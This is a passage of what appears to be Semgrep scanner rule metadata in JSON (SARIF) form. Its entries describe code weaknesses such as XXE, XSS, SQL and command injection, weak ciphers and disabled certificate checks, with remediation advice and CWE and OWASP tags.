`EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","id":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","name":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"help":{"markdown":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards)\n - [https://developer.apple.com/documentation/uikit/uipasteboard?language=swift](https://developer.apple.com/documentation/uikit/uipasteboard?language=swift)\n - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)\n","text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"helpUri":"https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","id":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","name":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","id":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","name":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"help":{"markdown":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param)\n - [https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm](https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm)\n","text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","id":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","name":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli)\n - [https://pg.uptrace.dev/](https://pg.uptrace.dev/)\n - [https://pkg.go.dev/github.com/go-pg/pg/v10](https://pkg.go.dev/github.com/go-pg/pg/v10)\n","text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli","id":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","name":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"help":{"markdown":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1)\n","text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1","id":"python.lang.compatibility.python37.python37-compatibility-os1","name":"python.lang.compatibility.python37.python37-compatibility-os1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"help":{"markdown":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version)\n - [https://www.landh.tech/blog/20230811-sandwich-attack/](https://www.landh.tech/blog/20230811-sandwich-attack/)\n","text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version","id":"python.lang.security.insecure-uuid-version.insecure-uuid-version","name":"python.lang.security.insecure-uuid-version.insecure-uuid-version","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-uuid-version.insecure-uuid-version"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"help":{"markdown":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system","id":"cpp.lang.security.system-command.dont-call-system.dont-call-system","name":"cpp.lang.security.system-command.dont-call-system.dont-call-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.dont-call-system.dont-call-system"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","id":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","name":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","id":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","name":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Oracle update is not restricted in $F()"},"help":{"markdown":"Oracle update is not restricted in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control)\n - [https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0](https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0)\n","text":"Oracle update is not restricted in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","id":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","name":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"help":{"markdown":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use)\n - [https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html](https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html)\n - [https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation](https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation)\n - [http://phrack.org/papers/escaping_the_java_sandbox.html](http://phrack.org/papers/escaping_the_java_sandbox.html)\n","text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"helpUri":"https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use","id":"java.lang.security.do-privileged-use.do-privileged-use","name":"java.lang.security.do-privileged-use.do-privileged-use","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.do-privileged-use.do-privileged-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string","id":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","name":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","id":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","name":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli)\n - [https://www.npmjs.com/package/mssql](https://www.npmjs.com/package/mssql)\n","text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","id":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","name":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","id":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","name":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"help":{"markdown":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation)\n - [https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib](https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib)\n","text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. 